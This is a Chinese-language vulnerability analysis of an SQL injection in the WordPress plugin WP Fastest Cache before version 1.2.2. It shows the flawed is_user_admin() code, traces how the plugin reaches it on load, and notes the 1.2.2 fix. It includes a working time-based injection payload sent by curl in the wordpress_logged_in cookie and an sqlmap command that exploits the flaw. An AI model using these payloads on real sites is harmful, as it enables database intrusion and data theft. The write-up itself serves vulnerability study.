● wordpress 版本无限制
● WP Fastest Cache 插件 <1.2.2,这里使用1.2.1版本
启用 WP Fastest Cache 插件,并启用“缓存系统”
漏洞点
cache.php 。调用在漏洞分析部分分析
public function is_user_admin(){
global $wpdb;
foreach ((array)$_COOKIE as $cookie_key => $cookie_value){
if(preg_match("/wordpress_logged_in/i", $cookie_key)){
$username = preg_replace("/^([^\|]+)\|.+/", "$1", $cookie_value);
break;
}
}
if(isset($username) && $username){
$res = $wpdb->get_var("SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value`
FROM `$wpdb->users`
INNER JOIN `$wpdb->usermeta`
ON `$wpdb->users`.`user_login` = \"$username\" AND
`$wpdb->usermeta`.`meta_key` LIKE \"%_user_level\" AND
`$wpdb->usermeta`.`meta_value` = \"10\" AND
`$wpdb->users`.`ID` = `$wpdb->usermeta`.user_id ;"
);
return $res;
}
return false;
}
记得改cookie 中 wordpress_logged_in的字符串,如wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93
漏洞点在cookie的 wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93(会变) 参数处
curl https://example.com -H "Cookie: wordpress_logged_in=1234%22%20AND%20(SELECT%202537%20FROM%20(SELECT(SLEEP(5)))Sazm)%20AND%20%22qzts%22=%22qzts"
sqlmap 证明:
python sqlmap.py --dbms=mysql -u "http://your-url/wp-login.php" --cookie='wordpress_logged_in_732bf205f063fd120b84d8a0d44e2d5d=*' --level=2 --current-user
简单说就是在加载插件时,取wordpress_logged_in 第一个 | 前的字符,然后插入到 SQL 语句中。
而这样也是可以匹配的,即payload
wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93内容如下:
wordpress|1702575454|gquEYSZ8lNbJktLUWLpElq4XybIhpPmOL3MmTMcqi4X|91c52c9d088ad036d8ccdc6ef645adfd906829527d27ea494140369cdbfbb1b9
这一部分的功能就是取出wordpress
然后没有过滤就进入了SQL语句中
is_user_admin() 被 createCache() 调用
追踪 createCache(),被cache()调用
看cache()在何处被调用,发现被构造函数调用,即在 WpFastestCache 对象被创建时调用
这两处创建了对象,看谁包含了wpFastestCache.php,继续跟,跟到plugin.php,大概就是插件加载时调用的
WP Fastest Cache 插件 1.2.2,修复了此漏洞
对参数进行了过滤